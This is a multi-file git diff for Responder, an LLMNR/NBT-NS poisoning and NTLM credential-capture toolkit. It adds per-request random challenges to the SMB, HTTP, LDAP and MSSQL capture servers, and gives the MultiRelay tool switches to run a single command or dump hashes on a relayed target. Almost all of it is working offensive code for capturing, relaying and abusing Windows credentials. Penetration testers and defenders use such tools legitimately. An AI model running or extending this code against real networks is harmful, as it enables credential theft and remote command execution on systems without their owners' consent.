Added: Random challenge for each requests (default)

Added paypal button
Added: Scripting support. -c and -d command line switch
2025-12-09 14:11:30 +00:00 · 2017-01-03 17:35:49 -03:00 · 2016-12-21 11:53:33 -03:00 · 2016-11-18 11:55:16 -03:00 · 2016-11-12 12:28:13 -03:00 · 2016-11-10 14:28:16 -03:00
11 changed files with 140 additions and 89 deletions
--- a/README.md
+++ b/README.md
@@ -162,15 +162,24 @@ Options:
 	  -v, --verbose         Increase verbosity.
 	

+## Donation ##

+You can contribute to this project by donating to the following BTC address:

+1Pv9rZMNfy9hsW19eQhNGs22gY9sf6twjW
+
+Or via Paypal:
+
+[![donate](https://www.paypalobjects.com/en_US/i/btn/btn_donateCC_LG.gif)](https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=F7UDPDKM65Q7A)

 ## Copyright ##

 NBT-NS/LLMNR Responder

 Responder, a network take-over set of tools created and maintained by Laurent Gaffie.
+
 email: laurent.gaffie@gmail.com
+
 This program is free software: you can redistribute it and/or modify
 it under the terms of the GNU General Public License as published by
 the Free Software Foundation, either version 3 of the License, or
--- a/Responder.conf
+++ b/Responder.conf
@@ -13,7 +13,8 @@ HTTPS = On
 DNS = On
 LDAP = On

-; Custom challenge
+; Custom challenge. 
+; Use "Random" for generating a random challenge for each requests (Default)
 Challenge = 1122334455667788

 ; SQLite Database file
--- a/servers/HTTP.py
+++ b/servers/HTTP.py
@@ -25,7 +25,7 @@ from packets import WPADScript, ServeExeFile, ServeHtmlFile


 # Parse NTLMv1/v2 hash.
-def ParseHTTPHash(data, client, module):
+def ParseHTTPHash(data, Challenge, client, module):
 	LMhashLen    = struct.unpack('<H',data[12:14])[0]
 	LMhashOffset = struct.unpack('<H',data[16:18])[0]
 	LMHash       = data[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
@@ -42,7 +42,7 @@ def ParseHTTPHash(data, client, module):
 		HostNameLen     = struct.unpack('<H',data[46:48])[0]
 		HostNameOffset  = struct.unpack('<H',data[48:50])[0]
 		HostName        = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
-		WriteHash       = '%s::%s:%s:%s:%s' % (User, HostName, LMHash, NTHash, settings.Config.NumChal)
+		WriteHash       = '%s::%s:%s:%s:%s' % (User, HostName, LMHash, NTHash, Challenge.encode('hex'))
 		SaveToDb({
 			'module': module, 
 			'type': 'NTLMv1', 
@@ -61,7 +61,7 @@ def ParseHTTPHash(data, client, module):
 		HostNameLen    = struct.unpack('<H',data[44:46])[0]
 		HostNameOffset = struct.unpack('<H',data[48:50])[0]
 		HostName       = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
-		WriteHash      = '%s::%s:%s:%s:%s' % (User, Domain, settings.Config.NumChal, NTHash[:32], NTHash[32:])
+		WriteHash      = '%s::%s:%s:%s:%s' % (User, Domain, Challenge.encode('hex'), NTHash[:32], NTHash[32:])
                 
 		SaveToDb({
 			'module': module, 
@@ -173,7 +173,7 @@ def GrabURL(data, host):
 			print text("[HTTP] POST Data: %s" % ''.join(POSTDATA).strip())

 # Handle HTTP packet sequence.
-def PacketSequence(data, client):
+def PacketSequence(data, client, Challenge):
 	NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
 	Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data)

@@ -192,13 +192,14 @@ def PacketSequence(data, client):

 	if NTLM_Auth:
 		Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
+                print "Challenge 2:", Challenge.encode('hex')
 		if Packet_NTLM == "\x01":
 			GrabURL(data, client)
 			GrabReferer(data, client)
 			GrabHost(data, client)
 			GrabCookie(data, client)

-			Buffer = NTLM_Challenge(ServerChallenge=settings.Config.Challenge)
+			Buffer = NTLM_Challenge(ServerChallenge=Challenge)
 			Buffer.calculate()

 			Buffer_Ans = IIS_NTLM_Challenge_Ans()
@@ -211,7 +212,7 @@ def PacketSequence(data, client):
                                 module = "WebDAV"
                        else:
                                 module = "HTTP"
-			ParseHTTPHash(NTLM_Auth, client, module)
+			ParseHTTPHash(NTLM_Auth, Challenge, client, module)

 			if settings.Config.Force_WPAD_Auth and WPAD_Custom:
 				print text("[HTTP] WPAD (auth) file sent to %s" % client)
@@ -265,6 +266,7 @@ class HTTP(BaseRequestHandler):

 	def handle(self):
 		try:
+                        Challenge = RandomChallenge()
                	for x in range(2):   
 				self.request.settimeout(3)
 				data = self.request.recv(8092)
@@ -277,7 +279,7 @@ class HTTP(BaseRequestHandler):
 						print text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0])

 				else:
-					Buffer = PacketSequence(data,self.client_address[0])
+					Buffer = PacketSequence(data,self.client_address[0], Challenge)
 					self.request.send(Buffer)
 		except socket.error:
 			pass
@@ -291,6 +293,7 @@ class HTTPS(StreamRequestHandler):

 	def handle(self):
 		try:
+                        Challenge = RandomChallenge()
 			data = self.exchange.recv(8092)
 			self.exchange.settimeout(0.5)
 			Buffer = WpadCustom(data,self.client_address[0])
@@ -301,7 +304,7 @@ class HTTPS(StreamRequestHandler):
 					print text("[HTTPS] WPAD (no auth) file sent to %s" % self.client_address[0])

 			else:
-				Buffer = PacketSequence(data,self.client_address[0])
+				Buffer = PacketSequence(data,self.client_address[0], Challenge)
 				self.exchange.send(Buffer)
 		except:
 			pass
--- a/servers/LDAP.py
+++ b/servers/LDAP.py
@@ -47,7 +47,7 @@ def ParseLDAPHash(data, client):
 		UserOffset   = struct.unpack('<H',data[82:84])[0]
 		User         = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')

-		WriteHash    = User + "::" + Domain + ":" + LMHash + ":" + NtHash + ":" + settings.Config.NumChal
+		WriteHash    = User + "::" + Domain + ":" + LMHash + ":" + NtHash + ":" + Challenge.encode('hex')

 		SaveToDb({
 			'module': 'LDAP',
@@ -61,15 +61,15 @@ def ParseLDAPHash(data, client):
 	if LMhashLen < 2 and settings.Config.Verbose:
 		print text("[LDAP] Ignoring anonymous NTLM authentication")

-def ParseNTLM(data,client):
+def ParseNTLM(data,client, Challenge):
 	if re.search('(NTLMSSP\x00\x01\x00\x00\x00)', data):
-		NTLMChall = LDAPNTLMChallenge(MessageIDASNStr=data[8:9],NTLMSSPNtServerChallenge=settings.Config.Challenge)
+		NTLMChall = LDAPNTLMChallenge(MessageIDASNStr=data[8:9],NTLMSSPNtServerChallenge=Challenge)
 		NTLMChall.calculate()
 		return str(NTLMChall)
 	elif re.search('(NTLMSSP\x00\x03\x00\x00\x00)', data):
 		ParseLDAPHash(data,client)

-def ParseLDAPPacket(data, client):
+def ParseLDAPPacket(data, client, Challenge):
 	if data[1:2] == '\x84':
 		PacketLen        = struct.unpack('>i',data[2:6])[0]
 		MessageSequence  = struct.unpack('<b',data[8:9])[0]
@@ -96,7 +96,7 @@ def ParseLDAPPacket(data, client):
 				})
 			
 			if sasl == "\xA3":
-				Buffer = ParseNTLM(data,client)
+				Buffer = ParseNTLM(data,client, Challenge)
 				return Buffer
 		
 		elif Operation == "\x63":
@@ -111,7 +111,8 @@ class LDAP(BaseRequestHandler):
 			while True:
 				self.request.settimeout(0.5)
 				data = self.request.recv(8092)
-				Buffer = ParseLDAPPacket(data,self.client_address[0])
+                                Challenge = RandomChallenge()
+				Buffer = ParseLDAPPacket(data,self.client_address[0], Challenge)

 				if Buffer:
 					self.request.send(Buffer)
--- a/servers/MSSQL.py
+++ b/servers/MSSQL.py
@@ -52,7 +52,7 @@ class TDS_Login_Packet:
 		self.DatabaseName = data[8+DatabaseNameOff:8+DatabaseNameOff+DatabaseNameLen*2].replace('\x00', '')


-def ParseSQLHash(data, client):
+def ParseSQLHash(data, client, Challenge):
 	SSPIStart     = data[8:]

 	LMhashLen     = struct.unpack('<H',data[20:22])[0]
@@ -72,7 +72,7 @@ def ParseSQLHash(data, client):
 	User          = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')

 	if NthashLen == 24:
-		WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, LMHash, NTHash, settings.Config.NumChal)
+		WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, LMHash, NTHash, Challenge.encode('hex'))

 		SaveToDb({
 			'module': 'MSSQL', 
@@ -84,7 +84,7 @@ def ParseSQLHash(data, client):
 		})

 	if NthashLen > 60:
-		WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, settings.Config.NumChal, NTHash[:32], NTHash[32:])
+		WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, Challenge.encode('hex'), NTHash[:32], NTHash[32:])
 		
 		SaveToDb({
 			'module': 'MSSQL', 
@@ -126,7 +126,7 @@ class MSSQL(BaseRequestHandler):
 			while True:
 				data = self.request.recv(1024)
 				self.request.settimeout(0.1)
-
+                                Challenge = RandomChallenge()

 				if data[0] == "\x12":  # Pre-Login Message
 					Buffer = str(MSSQLPreLoginAnswer())
@@ -135,7 +135,7 @@ class MSSQL(BaseRequestHandler):

 				if data[0] == "\x10":  # NegoSSP
 					if re.search("NTLMSSP",data):
-						Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=settings.Config.Challenge)
+						Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge)
 						Packet.calculate()
 						Buffer = str(Packet)
 						self.request.send(Buffer)
--- a/servers/SMB.py
+++ b/servers/SMB.py
@@ -88,7 +88,7 @@ def GrabSessionID(data):
    SessionID = data[44:52]
    return SessionID

-def ParseSMBHash(data,client):  #Parse SMB NTLMSSP v1/v2
+def ParseSMBHash(data,client, Challenge):  #Parse SMB NTLMSSP v1/v2
        SSPIStart  = data.find('NTLMSSP')
        SSPIString = data[SSPIStart:]
 	LMhashLen    = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0]
@@ -105,7 +105,7 @@ def ParseSMBHash(data,client):  #Parse SMB NTLMSSP v1/v2
 		UserLen      = struct.unpack('<H',SSPIString[38:40])[0]
 		UserOffset   = struct.unpack('<H',SSPIString[40:42])[0]
 		Username     = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
-		WriteHash    = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, settings.Config.NumChal)
+		WriteHash    = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, Challenge.encode('hex'))

 		SaveToDb({
 			'module': 'SMB', 
@@ -124,7 +124,7 @@ def ParseSMBHash(data,client):  #Parse SMB NTLMSSP v1/v2
 		UserLen      = struct.unpack('<H',SSPIString[38:40])[0]
 		UserOffset   = struct.unpack('<H',SSPIString[40:42])[0]
 		Username     = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
-		WriteHash    = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, SMBHash[:32], SMBHash[32:])
+		WriteHash    = '%s::%s:%s:%s:%s' % (Username, Domain, Challenge.encode('hex'), SMBHash[:32], SMBHash[32:])

 		SaveToDb({
 			'module': 'SMB', 
@@ -136,7 +136,7 @@ def ParseSMBHash(data,client):  #Parse SMB NTLMSSP v1/v2
 		})


-def ParseSMB2NTLMv2Hash(data,client):  #Parse SMB NTLMv2
+def ParseSMB2NTLMv2Hash(data,client, Challenge):  #Parse SMB NTLMv2
    SSPIStart = data[113:]
    data = data[113:]
    LMhashLen = struct.unpack('<H',data[12:14])[0]
@@ -151,7 +151,7 @@ def ParseSMB2NTLMv2Hash(data,client):  #Parse SMB NTLMv2
    UserLen      = struct.unpack('<H',data[38:40])[0]
    UserOffset   = struct.unpack('<H',data[40:42])[0]
    Username     = SSPIStart[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
-    WriteHash    = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, SMBHash[:32], SMBHash[32:])
+    WriteHash    = '%s::%s:%s:%s:%s' % (Username, Domain, Challenge.encode('hex'), SMBHash[:32], SMBHash[32:])
    SaveToDb({
                'module': 'SMBv2', 
 		'type': 'NTLMv2-SSP', 
@@ -161,7 +161,7 @@ def ParseSMB2NTLMv2Hash(data,client):  #Parse SMB NTLMv2
 		'fullhash': WriteHash,
             })

-def ParseLMNTHash(data, client):  # Parse SMB NTLMv1/v2
+def ParseLMNTHash(data, client, Challenge):  # Parse SMB NTLMv1/v2
 	LMhashLen = struct.unpack('<H',data[51:53])[0]
 	NthashLen = struct.unpack('<H',data[53:55])[0]
 	Bcc = struct.unpack('<H',data[63:65])[0]
@@ -171,7 +171,7 @@ def ParseLMNTHash(data, client):  # Parse SMB NTLMv1/v2
 		FullHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex')
 		LmHash = FullHash[:32].upper()
 		NtHash = FullHash[32:].upper()
-		WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, LmHash, NtHash)
+		WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, Challenge.encode('hex'), LmHash, NtHash)
 	
 		SaveToDb({
 			'module': 'SMB', 
@@ -185,7 +185,7 @@ def ParseLMNTHash(data, client):  # Parse SMB NTLMv1/v2
 	if NthashLen == 24:
 		NtHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper()
 		LmHash = data[65:65+LMhashLen].encode('hex').upper()
-		WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LmHash, NtHash, settings.Config.NumChal)
+		WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LmHash, NtHash, Challenge.encode('hex'))

 		SaveToDb({
 			'module': 'SMB', 
@@ -221,6 +221,7 @@ class SMB1(BaseRequestHandler):  # SMB1 & SMB2 Server class, NTLMSSP
 			while True:
 				data = self.request.recv(1024)
 				self.request.settimeout(1)
+                                Challenge = RandomChallenge()

 				if not data:
 					break
@@ -233,7 +234,6 @@ class SMB1(BaseRequestHandler):  # SMB1 & SMB2 Server class, NTLMSSP
 					except:
 						pass

-
                                ##Negotiate proto answer SMBv2.
 				if data[8:10] == "\x72\x00" and re.search("SMB 2.\?\?\?", data):
              				head = SMB2Header(CreditCharge="\x00\x00",Credits="\x01\x00")
@@ -255,7 +255,7 @@ class SMB1(BaseRequestHandler):  # SMB1 & SMB2 Server class, NTLMSSP
                                ## Session Setup 2 answer SMBv2.
 				if data[16:18] == "\x01\x00" and data[4:5] == "\xfe":
              				head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), SessionID=GrabSessionID(data),NTStatus="\x16\x00\x00\xc0")
-              				t = SMB2Session1Data(NTLMSSPNtServerChallenge=settings.Config.Challenge)
+              				t = SMB2Session1Data(NTLMSSPNtServerChallenge=Challenge)
              				t.calculate()
              				packet1 = str(head)+str(t)
       				        buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1  
@@ -263,7 +263,7 @@ class SMB1(BaseRequestHandler):  # SMB1 & SMB2 Server class, NTLMSSP
              				data = self.request.recv(1024)
                                ## Session Setup 3 answer SMBv2.
 				if data[16:18] == "\x01\x00" and GrabMessageID(data)[0:1] == "\x02" and data[4:5] == "\xfe":
-              				ParseSMB2NTLMv2Hash(data, self.client_address[0])
+              				ParseSMB2NTLMv2Hash(data, self.client_address[0], Challenge)
              				head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), NTStatus="\x22\x00\x00\xc0", SessionID=GrabSessionID(data))
              				t = SMB2Session2Data()
              				packet1 = str(head)+str(t)
@@ -289,9 +289,9 @@ class SMB1(BaseRequestHandler):  # SMB1 & SMB2 Server class, NTLMSSP
 					# STATUS_MORE_PROCESSING_REQUIRED
 					Header = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data))
 					if settings.Config.CaptureMultipleCredentials and self.ntry == 0:
-						Body = SMBSession1Data(NTLMSSPNtServerChallenge=settings.Config.Challenge, NTLMSSPNTLMChallengeAVPairsUnicodeStr="NOMATCH")
+						Body = SMBSession1Data(NTLMSSPNtServerChallenge=Challenge, NTLMSSPNTLMChallengeAVPairsUnicodeStr="NOMATCH")
 					else:
-						Body = SMBSession1Data(NTLMSSPNtServerChallenge=settings.Config.Challenge)
+						Body = SMBSession1Data(NTLMSSPNtServerChallenge=Challenge)
 					Body.calculate()
 		
 					Packet = str(Header)+str(Body)
@@ -313,7 +313,7 @@ class SMB1(BaseRequestHandler):  # SMB1 & SMB2 Server class, NTLMSSP

 						else:
 							# Parse NTLMSSP_AUTH packet
-							ParseSMBHash(data,self.client_address[0])
+							ParseSMBHash(data,self.client_address[0], Challenge)

 							if settings.Config.CaptureMultipleCredentials and self.ntry == 0:
 								# Send ACCOUNT_DISABLED to get multiple hashes if there are any
@@ -401,7 +401,7 @@ class SMB1LM(BaseRequestHandler):  # SMB Server class, old version
 		try:
 			self.request.settimeout(0.5)
 			data = self.request.recv(1024)
-
+                        Challenge = RandomChallenge()
 			if data[0] == "\x81":  #session request 139
 				Buffer = "\x82\x00\x00\x00"
 				self.request.send(Buffer)
@@ -409,7 +409,7 @@ class SMB1LM(BaseRequestHandler):  # SMB Server class, old version

 			if data[8:10] == "\x72\x00":  #Negotiate proto answer.
 				head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data))
-				Body = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=settings.Config.Challenge)
+				Body = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=Challenge)
 				Body.calculate()
 				Packet = str(head)+str(Body)
 				Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
@@ -423,7 +423,7 @@ class SMB1LM(BaseRequestHandler):  # SMB Server class, old version
 					Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
 					self.request.send(Buffer)
 				else:
-					ParseLMNTHash(data,self.client_address[0])
+					ParseLMNTHash(data,self.client_address[0], Challenge)
 					head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
 					Packet = str(head) + str(SMBSessEmpty())
 					Buffer = struct.pack(">i", len(''.join(Packet))) + Packet
--- a/settings.py
+++ b/settings.py
@@ -20,7 +20,7 @@ import subprocess

 from utils import *

-__version__ = 'Responder 2.3.3.0'
+__version__ = 'Responder 2.3.3.2'

 class Settings:
 	
@@ -195,14 +195,19 @@ class Settings:

 		# Set up Challenge
 		self.NumChal = config.get('Responder Core', 'Challenge')
+                if self.NumChal.lower() == 'random':
+                   self.NumChal = "random"

-		if len(self.NumChal) is not 16:
+		if len(self.NumChal) is not 16 and not "random":
 			print utils.color("[!] The challenge must be exactly 16 chars long.\nExample: 1122334455667788", 1)
 			sys.exit(-1)

 		self.Challenge = ""
-		for i in range(0, len(self.NumChal),2):
-			self.Challenge += self.NumChal[i:i+2].decode("hex")
+                if self.NumChal.lower() == 'random':
+                   pass
+                else: 
+		   for i in range(0, len(self.NumChal),2):
+	               self.Challenge += self.NumChal[i:i+2].decode("hex")

 		# Set up logging
 		logging.basicConfig(filename=self.SessionLogFile, level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')
@@ -222,12 +227,29 @@ class Settings:
 		self.AnalyzeLogger = logging.getLogger('Analyze Log')
 		self.AnalyzeLogger.addHandler(ALog_Handler)
                
-                NetworkCard = subprocess.check_output(["ifconfig", "-a"])
-                DNS = subprocess.check_output(["cat", "/etc/resolv.conf"])
-                RoutingInfo = subprocess.check_output(["netstat", "-rn"])
-                Message = "Current environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(NetworkCard,DNS,RoutingInfo)
-                utils.DumpConfig(self.ResponderConfigDump, Message)
-                utils.DumpConfig(self.ResponderConfigDump,str(self))
+		try:
+			NetworkCard = subprocess.check_output(["ifconfig", "-a"])
+		except subprocess.CalledProcessError as ex:
+			NetworkCard = "Error fetching Network Interfaces:", ex
+			pass
+		try:
+			DNS = subprocess.check_output(["cat", "/etc/resolv.conf"])
+		except subprocess.CalledProcessError as ex:
+			DNS = "Error fetching DNS configuration:", ex
+			pass
+		try:
+			RoutingInfo = subprocess.check_output(["netstat", "-rn"])
+		except subprocess.CalledProcessError as ex:
+			RoutingInfo = "Error fetching Routing information:", ex
+			pass
+
+		Message = "Current environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(NetworkCard,DNS,RoutingInfo)
+		try:
+			utils.DumpConfig(self.ResponderConfigDump, Message)
+			utils.DumpConfig(self.ResponderConfigDump,str(self))
+		except AttributeError as ex:
+			print "Missing Module:", ex
+			pass

 def init():
 	global Config
--- a/tools/MultiRelay.py
+++ b/tools/MultiRelay.py
@@ -36,7 +36,7 @@ from SMBFinger.Finger import RunFinger
 sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), '../')))
 from socket import *

-__version__ = "1.0"
+__version__ = "1.2"

 def UserCallBack(op, value, dmy, parser):
    args=[]
@@ -50,7 +50,9 @@ def UserCallBack(op, value, dmy, parser):
 parser = optparse.OptionParser(usage="python %prog -t10.20.30.40 -u Administrator lgandx admin", version=__version__, prog=sys.argv[0])
 parser.add_option('-t',action="store", help="Target server for SMB relay.",metavar="10.20.30.45",dest="TARGET")
 parser.add_option('-p',action="store", help="Additional port to listen on, this will relay for proxy, http and webdav incoming packets.",metavar="8081",dest="ExtraPort")
-parser.add_option('-u', '--UserToRelay', action="callback", callback=UserCallBack, dest="UserToRelay")
+parser.add_option('-u', '--UserToRelay', help="Users to relay. Use '-u ALL' to relay all users.", action="callback", callback=UserCallBack, dest="UserToRelay")
+parser.add_option('-c', '--command', action="store", help="Single command to run (scripting)", metavar="whoami",dest="OneCommand")
+parser.add_option('-d', '--dump', action="store_true", help="Dump hashes (scripting)", metavar="whoami",dest="Dump")

 options, args = parser.parse_args()

@@ -65,6 +67,8 @@ if options.UserToRelay is None:
 if options.ExtraPort is None:
    options.ExtraPort = 0

+OneCommand = options.OneCommand
+Dump = options.Dump
 ExtraPort = options.ExtraPort
 UserToRelay = options.UserToRelay
 Host = options.TARGET, 445
@@ -140,7 +144,9 @@ def ConnectToTarget():
            s.setsockopt(SOL_SOCKET, SO_KEEPALIVE, 1)
            s.setsockopt(IPPROTO_TCP, TCP_KEEPCNT, 15)
            s.setsockopt(IPPROTO_TCP, TCP_KEEPINTVL, 5)
-            s.setsockopt(IPPROTO_TCP, TCP_KEEPIDLE, 5)
+            # macOS does not have TCP_KEEPIDLE
+            if sys.platform != 'darwin':
+                s.setsockopt(IPPROTO_TCP, TCP_KEEPIDLE, 5)
            s.connect(Host)  
            return s
        except:
@@ -446,6 +452,10 @@ def RunShellCmd(data, s, clientIP, Host, Username, Domain):
        Logs.info(clientIP+":"+Username+":"+Domain+":"+Host[0]+":Logon Failure")
        return False

+    if data[8:10] == "\x73\x5e":
+        print "[+] Relay failed, NO_LOGON_SERVER returned. Credentials are probably good, but the PDC is either offline or inexistant.\n"
+        return False
+
    ## Ok, we are supposed to be authenticated here, so first check if user has admin privs on C$:    
    ## Tree Connect
    if data[8:10] == "\x73\x00":
@@ -463,7 +473,6 @@ def RunShellCmd(data, s, clientIP, Host, Username, Domain):
        print "[+] Relay Failed, Tree Connect AndX denied. This is a low privileged user or SMB Signing is mandatory.\n[+] Hashes were saved anyways in Responder/logs/ folder.\n"
        Logs.info(clientIP+":"+Username+":"+Domain+":"+Host[0]+":Logon Failure")
        return False
-        return False

    # This one should not happen since we always use the IP address of the target in our tree connects, but just in case.. 
    if data[8:10] == "\x75\xcc":
@@ -481,8 +490,19 @@ def RunShellCmd(data, s, clientIP, Host, Username, Domain):
        s.send(buffer1)
        data = s.recv(2048)

+    ## Run one command.
+    if data[8:10] == "\x75\x00" and OneCommand != None or Dump:
+        print "[+] Authenticated."
+        if OneCommand != None:
+           print "[+] Running command: %s"%(OneCommand)
+           RunCmd(data, s, clientIP, Username, Domain, OneCommand, Logs, Host)
+        if Dump:
+           print "[+] Dumping hashes"
+           DumpHashes(data, s, Host)
+        os._exit(1)
+
    ## Drop into the shell.
-    if data[8:10] == "\x75\x00":
+    if data[8:10] == "\x75\x00" and OneCommand == None:
        print "[+] Authenticated.\n[+] Dropping into Responder's interactive shell, type \"exit\" to terminate\n"
        ShowHelp()
        #Make sure we don't open 2 shell at the same time..
@@ -563,11 +583,12 @@ def RunShellCmd(data, s, clientIP, Host, Username, Domain):
            s.send(buffer1)
            data = s.recv(2048)

-class ThreadingTCPServer(ThreadingMixIn, TCPServer):
+class ThreadingTCPServer(TCPServer):
     def server_bind(self):
          TCPServer.server_bind(self)

 ThreadingTCPServer.allow_reuse_address = 1
+ThreadingTCPServer.daemon_threads = True

 def serve_thread_tcp(host, port, handler):
     try:
@@ -591,7 +612,7 @@ def main():
          while True:
               time.sleep(1)

-     except KeyboardInterrupt:
+     except (KeyboardInterrupt, SystemExit):
          sys.exit("\rExiting...")

 if __name__ == '__main__':
--- a/tools/MultiRelay/RelayMultiCore.py
+++ b/tools/MultiRelay/RelayMultiCore.py
@@ -120,7 +120,7 @@ def ParseHTTPHash(data, key, client,UserToRelay,Host):
                print "[+] Received NTLMv1 hash from: %s %s"%(client, ShowSmallResults((client,445)))

                if User in UserToRelay or "ALL" in UserToRelay:
-                        print "[+] Username: %s is whitelisted, fowarding credentials."%(User)
+                        print "[+] Username: %s is whitelisted, forwarding credentials."%(User)
                        if ReadData("SMBRelay-Session.txt", client, User, HostName, Host[0], cmd=None):
                           ##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts.
                           return None, None
@@ -142,7 +142,7 @@ def ParseHTTPHash(data, key, client,UserToRelay,Host):
 		WriteData(Logs_Path+"logs/SMB-Relay-"+client+".txt", WriteHash, User)
                print "[+] Received NTLMv2 hash from: %s %s"%(client, ShowSmallResults((client,445)))
                if User in UserToRelay or "ALL" in UserToRelay:
-                        print "[+] Username: %s is whitelisted, fowarding credentials."%(User)
+                        print "[+] Username: %s is whitelisted, forwarding credentials."%(User)
                        if ReadData("SMBRelay-Session.txt", client, User, Domain, Host[0], cmd=None):
                           ##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts.
                           return None, None
@@ -174,7 +174,7 @@ def ParseSMBHash(data,client, challenge,UserToRelay,Host):  #Parse SMB NTLMSSP v
 		WriteData(Logs_Path+"logs/SMB-Relay-SMB-"+client+".txt", WriteHash, Username)
                print "[+] Received NTLMv1 hash from: %s %s"%(client, ShowSmallResults((client,445)))
                if Username in UserToRelay or "ALL" in UserToRelay:
-                        print "[+] Username: %s is whitelisted, fowarding credentials."%(Username)
+                        print "[+] Username: %s is whitelisted, forwarding credentials."%(Username)
                        if ReadData("SMBRelay-Session.txt", client, Username, Domain, Host[0], cmd=None):
                           ##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts.
                           return None, None
@@ -196,7 +196,7 @@ def ParseSMBHash(data,client, challenge,UserToRelay,Host):  #Parse SMB NTLMSSP v
 		WriteData(Logs_Path+"logs/SMB-Relay-SMB-"+client+".txt", WriteHash, Username)
                print "[+] Received NTLMv2 hash from: %s %s"%(client, ShowSmallResults((client,445)))
                if Username in UserToRelay or "ALL" in UserToRelay:
-                        print "[+] Username: %s is whitelisted, fowarding credentials."%(Username)
+                        print "[+] Username: %s is whitelisted, forwarding credentials."%(Username)
                        if ReadData("SMBRelay-Session.txt", client, Username, Domain, Host[0], cmd=None):
                           ##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts.
                           return None, None
@@ -222,9 +222,9 @@ def ExtractSMBChallenge(data):

 def ExtractHTTPChallenge(data):
    SecBlobLen = struct.unpack("<h", data[43:45])[0]
-    if SecBlobLen < 255:
+    if SecBlobLen <= 257:
       Challenge = data[102:110]
-    if SecBlobLen > 255:
+    if SecBlobLen >= 258:
       Challenge = data[106:114]
    print "[+] Setting up HTTP relay with SMB challenge:", Challenge.encode("hex")
    return Challenge
@@ -430,10 +430,8 @@ def CreateService(Command, f, host, data, s):
        ContextHandler = data[84:104]
        ServiceNameChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(11)])
        ServiceIDChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(16)])
-        FileChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(6)])+'.bat'
-        FilePath = FileChars
        head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x09\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
-        w = SMBDCESVCCTLCreateService(ContextHandle=ContextHandler, ServiceName=ServiceNameChars,DisplayNameID=ServiceIDChars, FileName=FilePath,BinCMD=Command)
+        w = SMBDCESVCCTLCreateService(ContextHandle=ContextHandler, ServiceName=ServiceNameChars,DisplayNameID=ServiceIDChars,BinCMD=Command)
        w.calculate()
        x = SMBDCEPacketData(Opnum="\x0c\x00",Data=w)
        x.calculate()
--- a/tools/MultiRelay/RelayMultiPackets.py
+++ b/tools/MultiRelay/RelayMultiPackets.py
@@ -651,6 +651,11 @@ class SMBDCESVCCTLOpenManagerW(Packet):
    ])

    def calculate(self):
+        #Padding
+        if len(str(self.fields["MachineName"]))%2==0:
+           self.fields["MachineNameNull"] = "\x00\x00\x00\x00"
+        else:
+           self.fields["MachineNameNull"] = "\x00\x00"
